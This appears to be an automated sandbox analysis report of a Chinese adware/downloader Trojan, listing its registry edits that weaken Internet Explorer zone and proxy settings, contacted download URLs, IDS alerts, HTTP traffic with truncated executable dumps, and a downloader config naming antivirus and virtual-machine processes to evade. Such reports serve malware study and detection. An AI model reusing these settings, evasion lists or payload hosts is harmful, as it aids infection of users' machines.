[HKCR\CLSID\{13F896BE-CF0E-4D41-8C0E-D2A589AC3937}\MiscStatus]
"(Default)" = "0"

[HKCR\CLSID\{13F896BE-CF0E-4D41-8C0E-D2A589AC3937}\MiscStatus\1]
"(Default)" = "197009"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCR\CLSID\{13F896BE-CF0E-4D41-8C0E-D2A589AC3937}\InprocServer32]
"(Default)" = "C:\PROGRA~1\PINGGU~1\CHATRO~1.OCX"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\BaDu\Pcd]
"pcode" = "61 B8 F4 90 5F D6 3A F9 34 FA 67 9A 87 00 6E 81"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Æ»¹ûÊÓƵÉçÇø-2014Beta3.6.2]
"URLInfoAbout" = "http://www.pingguo55.com"
"StartMenuDir" = "Æ»¹ûÊÓƵÉçÇø"

[HKCR\Interface\{C43891FE-B7B4-4C2F-BC88-BE5D5E6A2A5F}\ProxyStubClsid]
"(Default)" = "{00020420-0000-0000-C000-000000000046}"

The process ServiceClient.e:548 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "AA A2 F7 B7 63 A6 92 DC 6D 3D 8C 72 0A D7 8D E9"

The process %original file name%.exe:2040 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 1D 00 00 00 01 00 00 00 00 00 00 00"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "26 FB D5 53 8C 02 3D C0 D5 8F 3F 90 45 98 2B C9"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The Trojan deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"

The process girlshow_22000025816.exe:2024 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 1F 00 00 00 01 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

"Desktop" = "%Documents and Settings%\%current user%\Desktop"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "DA 1D 9F 83 D5 4B FF 1F 27 3A 28 80 45 77 E3 D8"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\%Program Files%\pingguo55\Install]
"pingguo.exe" = "pingguo"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The Trojan deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"

Dropped PE files

HOSTS file anomalies

No changes have been detected.

Rootkit activity

No anomalies have been detected.

Propagation

VersionInfo

Company Name:
Product Name: Client ????
Product Version: 1, 0, 0, 1
Legal Copyright: ???? (C) 2015
Legal Trademarks:
Original Filename: Client.EXE
Internal Name: Client
File Version: 1, 0, 0, 1
File Description: Client
Comments:
Language: English (United States)

PE Sections

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

URLs

URL	IP
hxxp://qiniunor.xdwscache.glb0.lxdns.com/z.ico?832187
hxxp://newplay.aliapp.com/Count/Index	42.120.217.94
hxxp://qiniunor.xdwscache.glb0.lxdns.com/tc.html
hxxp://all.cnzz.com.danuoyi.tbcache.com/stat.php?id=5887135&web_id=5887135
hxxp://1st.ecoma.glb0.lxdns.com/c/girlshow_22000025816.exe
hxxp://oz.cnzz.com/stat.htm?id=5887135&r=&lg=en-us&ntime=none&cnzz_eid=1987065364-1430088506-&showp=1276x846&t=&h=1&rnd=1967005646	198.11.132.200
hxxp://all.cnzz.com.danuoyi.tbcache.com/core.php?web_id=5887135&t=z
hxxp://xnop027.tlgslb.com/re58/girlshow_22000025816.exe
hxxp://js.users.51.la/17440728.js	222.187.225.125
hxxp://cnzz.mmstat.com/9.gif?abc=1&rnd=1462919078	42.120.219.171
hxxp://int.dpool.sina.com.cn/iplookup/iplookup.php?format=js	180.149.136.219
hxxp://cnzz.mmstat.com/app.gif?&cna=PFnEDULM8goCAcGK9OdbedDL	42.120.219.171
hxxp://newplay.aliapp.com/Count/Index/soft/	42.120.217.94
hxxp://1st.ecoma.glb0.lxdns.com/downcontainer/downLoad.do
hxxp://1st.ecoma.glb0.lxdns.com/downcontainer/downLoadInfo.do?oemID=0&recid=22000025816
hxxp://gnop008.tlgslb.com/down/4509/Browser_V4.1.4627.19_r_4509_(Build150408)_1428944402.exe
hxxp://cj.pingguo55.com/downloader/start?dlver=G1.0.0&pname=pingguo&pver=32&cmdtype=1&cmdid=22000025816&ad=0&oemid=0&fromurl=&webid=badu_13034453_1430087393	115.231.176.253
hxxp://img001.com/business/5/pingguo.exe	36.250.9.8
hxxp://img001.com/tg_pic/lunbo1.png	36.250.9.8
hxxp://cj.pingguo55.com/downloader/startdown?dlver=G1.0.0&pname=pingguo&pver=32&cmdtype=1&cmdid=22000025816&ad=0&oemid=0&fromurl=&webid=badu_13034453_1430087393	115.231.176.253
hxxp://img001.com/tg_pic/mobo.png	36.250.9.8
hxxp://c.cnzz.com/core.php?web_id=5887135&t=z	195.27.31.246
hxxp://umcdn.uc.cn/down/4509/Browser_V4.1.4627.19_r_4509_(Build150408)_1428944402.exe	116.10.187.112
hxxp://pcookie.cnzz.com/app.gif?&cna=PFnEDULM8goCAcGK9OdbedDL	42.120.219.171
hxxp://download.re58.cn/c/girlshow_22000025816.exe	203.130.61.92
hxxp://dl.ntfst.cn/tc.html	183.136.217.66
hxxp://downloader.re58.cn/downcontainer/downLoad.do	203.130.61.92
hxxp://c.img001.com/re58/girlshow_22000025816.exe	112.67.255.202
hxxp://dl.jmfo.cn/z.ico?832187	183.136.217.66
hxxp://downloader.re58.cn/downcontainer/downLoadInfo.do?oemID=0&recid=22000025816	203.130.61.92
hxxp://v1.cnzz.com/stat.php?id=5887135&web_id=5887135	1.99.192.15
web.51.la	117.21.224.131

IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

ET POLICY HTTP Request on Unusual Port Possibly Hostile
ET SHELLCODE Possible TCP x86 JMP to CALL Shellcode Detected
ET TROJAN VMProtect Packed Binary Inbound via HTTP - Likely Hostile
ET POLICY Unsupported/Fake Internet Explorer Version MSIE 5.

Traffic

GET /business/5/pingguo.exe HTTP/1.1

User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows NT)

Range: bytes=0-3047423

Host: img001.com

Accept: */*

Cache-Control: no-cache

HTTP/1.1 206 Partial Content

Server: nginx

Date: Sun, 26 Apr 2015 23:00:05 GMT

Content-Type: application/octet-stream

Content-Length: 3047424

Last-Modified: Thu, 11 Dec 2014 11:04:49 GMT

Connection: keep-alive

Content-Range: bytes 0-3047423/15217760
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1H..u)..u)..
u)...&..w)..u)...)...&..d)...6...).../..t)..Richu)..........PE..L.....
.I.................\...........2.......p....@.........................
.p......n........................................s....................
...................................................................p..
.............................text....[.......\.................. ..`.r
data.......p.......`..............@[email protected]..........
[email protected][email protected]
..............@..@....................................................
......................................................................
......................................................................
......................................................................
......................................................................
............................................U....\.}..t .}.F.E.u..H...
..>[email protected].>[email protected]
...Pr@..}..e..9}[email protected]........ M............U....M....3..
.3..FQ......3..NU.....M..........VT..U.....FP..E...............E.P.M..
[email protected]@..u....E..9}[email protected].}.j
[email protected]@[email protected] ...Pj.h.6B.W..Xr@.
.u.W...u....E.P.u...\r@._^3.[.....L$...>B...Si.....VW.T.....tO.q.3.
;5.>B.sB..i......D.......t.G.....t...O..t .....u...3....3...F..
<<< skipped >>>

GET /business/5/pingguo.exe HTTP/1.1

User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows NT)

Range: bytes=9125888-12173311

Host: img001.com

Accept: */*

Cache-Control: no-cache

HTTP/1.1 206 Partial Content

Server: nginx

Date: Sun, 26 Apr 2015 23:00:28 GMT

Content-Type: application/octet-stream

Content-Length: 3047424

Last-Modified: Thu, 11 Dec 2014 11:04:49 GMT

Connection: keep-alive

Content-Range: bytes 9125888-12173311/15217760
'F...\....6......Z.2..4/f.T....l.4Ud. >.K.v....=l..8G.Z...2?..B....
.q ..hp..B15./..m,...;.......tE..H...L..3.......)..........`[.W}H4I...
..:.g.....L..m..2..,..... P.E....._.Z.}..v.@..;..z.@bY. #q<?.@87.&l
t;.;[email protected]......."O......t.(...X..'....1.Rx'...7Z.4
F.y....q.E...O..p9[?....G....$V..H.K........0.,o ..L..b.Z..[..J}...R.)
.}......Y.m.z4.....ry..Vg.>jz.....D...)7..t[`..Cq8.....TVx.?[..$.E.
K...q,A.'...*..k........./.'2~.i...[..../`sl.D.. ...sw..O .hb:..Q)/P..
/.......H1..#..ZwEc..?..}!...R..vG ..k.KU2..... .j.N}...J;..._0..5....
YO...T<..C..|...(r..}.......~.,..J.'(.`../Hm.&...D........@........
[email protected]%..<pm8n.rN.u....f.5.0..j?....7R..bVv5.a.......A....
...o.....DH.RUM^.N..C4....[....U....8.}....$.B.oU.....n3..m....5......
....@}.)...X...syL\_.~R.g..(c..T._T.....#.....U..4.~u.o!;...M.J..t.|..
}..};!pP.;<....22,.*..3....&..~9.y.8R....=....}.sn>.....#3....w.
...-........1.......D.6gl}z)..(....... .F.=.6..#........$0.&r)..I.mX.(
k.....5..............Xw..`.;v..o..O..%....9tz.md.o.k...f.L&......9..@.
....Bg....j..............5m..........?......r...3..E...W........d`....
*...%.9......L..........y.Km`]..p%1.$4.....*.....4._....s.J.@.?..MPb8!
...k@U.[g..BA...q.:.TQf>.4/.-..a..$..].l...vR};[email protected]*.
}-.#...l7k.g.$P.P.!.qp5.....9......j.........c"..lN.L.].F...i....w...b
...K.....l....._.4...2..~...}X.&....]..h6Z..Q....#J.....,..1....8..'..
.v....3...w_..5z..L..B..G.....E#-..$b..V.8.....&...0.[.J....(.;.D... .
<C.....j....Enx0 S............@....{...:S.30A.Lg.8.c..9......VW
<<< skipped >>>

GET /business/5/pingguo.exe HTTP/1.1

User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows NT)

Range: bytes=10780672-12173311

Host: img001.com

Accept: */*

Cache-Control: no-cache

HTTP/1.1 206 Partial Content

Server: nginx

Date: Sun, 26 Apr 2015 23:00:48 GMT

Content-Type: application/octet-stream

Content-Length: 1392640

Last-Modified: Thu, 11 Dec 2014 11:04:49 GMT

Connection: keep-alive

Content-Range: bytes 10780672-12173311/15217760
.;......3E.>...&.....F.f..] c(.*.k..b.{._I.m%.*...]..;....,...D.f#@
T..>...%...8.GI.G.."...K;....>..|0N........'f........JC....sz..(
...<"y.uU.4 ... V"ya).p.WG.?u.....S..,^.4.8....N.c..\-..Y.t....-..w
......#C....X./.I.2.c._uD.\:.......gz.:?a..U(.{B...~\.( ...U.2..F..Ft.
i 08R..zL.gi......N-...V...Y..........N,zM_j'[email protected]..|..$N......
..V.........2..O....O...jS.....9......Y-.#r......[..5.e'..W.......%..p
=....?..m.J.....t...36.(K..a..,........!qU....Y..g8..f...v...BC...so~.
d&|.C.>.........wQ..:8.K.....b..}......../.Q....j.........&.0..c...
....^Sd.....;Pp>........EY......b>A/b$.KdZ..S.$...)..b...W.B.c.^
U.O.....U..s.$..$I:..`!kw.Q`2..: .^Y..?&R..9....H<....Yc....b"...,P
..GY....-.[.>...'...*...FE.ba...,...Yi.s..)..smk.m...[...6T7(2.j.N.
Q~'...Lg.Ct}v^t.}T.n....B6.7q.T".....T).4...A`..S...\..tSzW..c..q..t.6
.w5..-.V.o.'z.4.mDm.....tp.Ouk......H..f.F..... .{._..duk.../...".UJ.W
.3..I....9.x............w....m..}. ..Z..NR..|).....E...-....G!\.....^u
.....7a..^......?..`[email protected]..(p/.... ....).Vsu.D.6..F..=#..
6q/...{.....F...K..O....x..KKL..!-Lk.......Ok..K[!_..r.5..._-.........
...O..r.....|.......[B..h;.....]..\~'.W...r...^..J..MW....r...t...%...
'0...*....lj...FIQJ.o.7g..9Lq..>....."...J>~. ...A..2..c@..~D.v 
..K.....|n.0.,...T...Q..{...\...p..B.|.Q.~0i... ..p...&.w..a_.....P..Z
@.= [email protected]...`}....i...P....N,...,....UYL.\.^......... H...
.................g..h..X.F....G...............O....i.I>@Ad.c.R.5P..
/..e.~.....~y.z.=M...)c.D...`.*4..t......F....$I.I.W.....A..AF$1 .
<<< skipped >>>

HEAD /business/5/pingguo.exe HTTP/1.1

Accept: */*

User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows NT)

Host: img001.com

Content-Length: 0

Cache-Control: no-cache

HTTP/1.1 200 OK

Server: nginx

Date: Sun, 26 Apr 2015 22:57:45 GMT

Content-Type: application/octet-stream

Content-Length: 15217760

Last-Modified: Thu, 11 Dec 2014 11:04:49 GMT

Connection: keep-alive

Accept-Ranges: bytes

GET /z.ico?832187 HTTP/1.1

Accept: */*

Host: dl.jmfo.cn

Cache-Control: no-cache

HTTP/1.1 200 OK

Date: Sun, 26 Apr 2015 22:48:19 GMT

Server: nginx/1.4.4

Content-Type: image/x-icon

Content-Length: 3539

Accept-Ranges: bytes

Access-Control-Allow-Origin: *

Access-Control-Max-Age: 2592000

Cache-Control: public, max-age=31536000

Content-Disposition: inline; filename="z.ico"

Content-Transfer-Encoding: binary

ETag: "FlM0l6sGTFVVx38RSOVvstsld2vH"

X-Log: mc.g;IO:1

X-Reqid: FRAAAKtpx-npsdgT

X-Whom: nb263

X-Qiniu-Zone: 0

X-Via: 1.1 sxdx59:3 (Cdn Cache Server V2.0)

Connection: keep-alive
[Config]..Tongji=hXXp://newplay.aliapp.com/Count/Index..Count=12..[Pro
cess]..1=360tray.exe,360Safe.exe..2=360rp.exe,360sd.exe..3=QQPCRTP.exe
,QQPCTray.exe..4=KSafeSvc.exe,KSafeTray.exe,kxescore.exe,kxetray.exe..
8=VBoxTray.exe,VBoxService.exe,VMwareUser.exe,VMwareTray.exe,vmtoolsd.
exe,vmacthlp.exe..9=ikeeper.exe,DbntCli.exe,BarClientView.exe,BarMonit
or.exe,DF5Serv.exe,PBSClient.exe,Clsmn.exe..[Orader]..;......0=0,1,2,3
,5,6,7,8,9,10,11,12,4..;360......1=0..;360......2=0,1,2,3,5,6,7,8,9,10
,11,12,4..;QQ..3=0,01,2,3,4,5,6,7,08,9,10..;......4=0,1,2,3,6,7,8,9,10
..;........8=0,1,2,3,5,7,8,9,10,11,12,4..;......9=0,1,2,3,5,6,7,8,9,10
,11,12,4..[Soft0]..name=......check=..url=hXXp://dl.ntfst.cn/tc.html..
exe=2..can=..gai=..[Soft1]..name=........check=..url=hXXp://download.r
e58.cn/c/girlshow_22000025816.exe..exe=girlshow_22000025816.exe..can=.
.gai=..[Soft01]..name=......(..)..check=..url=hXXp://download.re58.cn/
c/girlshow_22000025816.exe..exe=girlshow_22000025816.exe..can=..gai=y.
.[Soft2]..name=UC........check=HKLM|SOFTWARE\Microsoft\Windows\Current
Version\Uninstall\UCBrowser..url=hXXp://umcdn.uc.cn/down/4509/Browser_
V4.1.4627.19_r_4509_(Build150408)_1428944402.exe..exe=Browser_V4.1.462
7.19_r_4509_(Build150408)_1428944402.exe..can=..gai=..[Soft3]..name=..
..........check=HKLM|SOFTWARE\Microsoft\Windows\CurrentVersion\Uninsta
ll\............url=hXXp://downsrf.eastday.com/qdb/setup_dfkb190.exe..e
xe=setup_dfkb190.exe..can=..gai=..[Soft03]..name=..........(..)..check
=HKLM|SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\........
<<< skipped >>>

GET /17440728.js HTTP/1.1

Accept: */*

Referer: hXXp://dl.ntfst.cn/tc.html

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: js.users.51.la

Connection: Keep-Alive

HTTP/1.1 200 OK

Cache-Control: max-age=300

Content-Length: 1931

Content-Type: application/x-javascript

Last-Modified: Sun, 12 Apr 2015 04:36:31 GMT

Accept-Ranges: bytes

ETag: "f029ad3fda74d01:176d"

Server: Microsoft-IIS/6.0

X-Powered-By: ASP.NET

Date: Sun, 26 Apr 2015 22:48:30 GMT

Connection: close
document.write ('<a href="hXXp://VVV.51.la/?17440728" target="_blan
k" title="51.la 专业、
免费、强健的访问߭
F;计">网站统计</a>\n');..var a0
728tf="51la";var a0728pu="";var a0728pf="51la";var a0728su=window.loca
tion;var a0728sf=document.referrer;var a0728of="";var a0728op="";var a
0728ops=1;var a0728ot=1;var a0728d=new Date();var a0728color="";if (na
vigator.appName=="Netscape"){a0728color=screen.pixelDepth;} else {a072
8color=screen.colorDepth;}..try{a0728tf=top.document.referrer;}catch(e
){}..try{a0728pu =window.parent.location;}catch(e){}..try{a0728pf=wind
ow.parent.document.referrer;}catch(e){}..try{a0728ops=document.cookie.
match(new RegExp("(^| )a0728_pages=([^;]*)(;|$)"));a0728ops=(a0728ops=
=null)?1: (parseInt(unescape((a0728ops)[2])) 1);var a0728oe =new Date(
);a0728oe.setTime(a0728oe.getTime() 60*60*1000);document.cookie="a0728
_pages=" a0728ops  ";path=/;expires=" a0728oe.toGMTString();a0728ot=do
cument.cookie.match(new RegExp("(^| )a0728_times=([^;]*)(;|$)"));if(a0
728ot==null){a0728ot=1;}else{a0728ot=parseInt(unescape((a0728ot)[2]));
 a0728ot=(a0728ops==1)?(a0728ot 1):(a0728ot);}a0728oe.setTime(a0728oe.
getTime() 365*24*60*60*1000);document.cookie="a0728_times=" a0728ot ";
path=/;expires=" a0728oe.toGMTString();}catch(e){}..try{if(document.co
okie==""){a0728ops=-1;a0728ot=-1;}}catch(e){}..a0728of=a0728sf;if(a072
8pf!=="51la"){a0728of=a0728pf;}if(a0728tf!=="51la"){a0728of=a0728t
<<< skipped >>>

GET /app.gif?&cna=PFnEDULM8goCAcGK9OdbedDL HTTP/1.1

Accept: */*

Referer: hXXp://dl.ntfst.cn/tc.html

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Connection: Keep-Alive

Host: pcookie.cnzz.com

HTTP/1.1 200 OK

Server: Tengine

Date: Sun, 26 Apr 2015 22:48:28 GMT

Content-Type: image/gif

Content-Length: 43

Connection: keep-alive

P3P: CP="NOI DSP COR CURa ADMa DEVa PSAa PSDa OUR IND UNI PUR NAV"

Set-Cookie: cna=PFnEDULM8goCAcGK9OdbedDL; expires=Wed, 23-Apr-25 22:48:28 GMT; path=/; domain=.cnzz.com

Expires: Thu, 01 Jan 1970 00:00:01 GMT

Cache-Control: no-cache

Pragma: no-cache
GIF89a.............!.......,...........L..;HTTP/1.1 200 OK..Server: Te
ngine..Date: Sun, 26 Apr 2015 22:48:28 GMT..Content-Type: image/gif..C
ontent-Length: 43..Connection: keep-alive..P3P: CP="NOI DSP COR CURa A
DMa DEVa PSAa PSDa OUR IND UNI PUR NAV"..Set-Cookie: cna=PFnEDULM8goCA
cGK9OdbedDL; expires=Wed, 23-Apr-25 22:48:28 GMT; path=/; domain=.cnzz
.com..Expires: Thu, 01 Jan 1970 00:00:01 GMT..Cache-Control: no-cache.
.Pragma: no-cache..GIF89a.............!.......,...........L..;..

GET /down/4509/Browser_V4.1.4627.19_r_4509_(Build150408)_1428944402.exe HTTP/1.1

Accept: */*

Host: umcdn.uc.cn

Cache-Control: no-cache

HTTP/1.0 200 OK

Server: DnionOS/1.2.1

Date: Fri, 17 Apr 2015 02:14:56 GMT

Content-Type: application/octet-stream

Content-Length: 46360400

Last-Modified: Mon, 13 Apr 2015 17:24:38 GMT

Expires: Thu, 14 May 2015 15:43:41 GMT

Cache-Control: max-age=2592000

Accept-Ranges: bytes

X-Cache: MISS from CT-ZJSX-108-192.fastcdn.com

X-Cache: HIT from CT-JSNT-38-176-A.fastcdn.com

Age: 308154

X-Cache: HIT from CT-GXWZ-187-112.fastcdn.com

Connection: close
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$..........V........
...................... .........:...,.C.....,.A.....,.F.........A.....
................$.......h.......!.....Rich............................
PE..L.....#U..........................................@...............
..................Ui.......................................u..........
.............N..P........H..`...8...............................@.....
.......p...............................text...........................
.... ..`.data...@[email protected]..>!...p...".
.................@[email protected][email protected]....
...........................@[email protected]..................@..
B.....................................................................
......................................................................
......................................................................
.....................................................A.H.A.<.A.$.A.
0.A.^.A...A...A...A...A...A...A...A...A...A...A...A.M.A...A.h.A...A.2.
A...A...A.$.A...A...A.?.A.1.A...A.L.A.t.A.#.A.g.A.>.A.Y.A...A...A.Z
.A.u.A...A...A...A...A...A...A...A...A...A...A...A.%[email protected].[.A.'.A.4.A
.j.A...A...A.O.A...A...A...A...A...A.w.A...A...A...A...A...A...A...A.v
.A...A...A...A.3.A...A...A...A...A...A.&.A.\.A.A.A...A...A.i.A.N.A...A
...A.6.A...A.l.A...A...A...A.Q.A...A...A.C.A...A...A.^.A.P.A...A.k.A..
.A.B.A...A.].A.x.A...A...A.y.A...A...A...A...A.(.A...A...A...A.5.A
<<< skipped >>>

GET /tg_pic/mobo.png HTTP/1.1

Accept: */*

User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows NT)

Host: img001.com

Cache-Control: no-cache

HTTP/1.1 200 OK

Server: nginx

Date: Sun, 26 Apr 2015 22:58:30 GMT

Content-Type: image/png

Content-Length: 129582

Last-Modified: Tue, 15 Oct 2013 01:45:40 GMT

Connection: keep-alive

Accept-Ranges: bytes
.PNG........IHDR...D...b.............tEXtSoftware.Adobe ImageReadyq.e&
lt;..."iTXtXML:com.adobe.xmp.....<?xpacket begin="..." id="W5M0MpCe
hiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk=
"Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27        "> &
lt;rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#">
 <rdf:Description rdf:about="" xmlns:xmp="hXXp://ns.adobe.com/xap/1
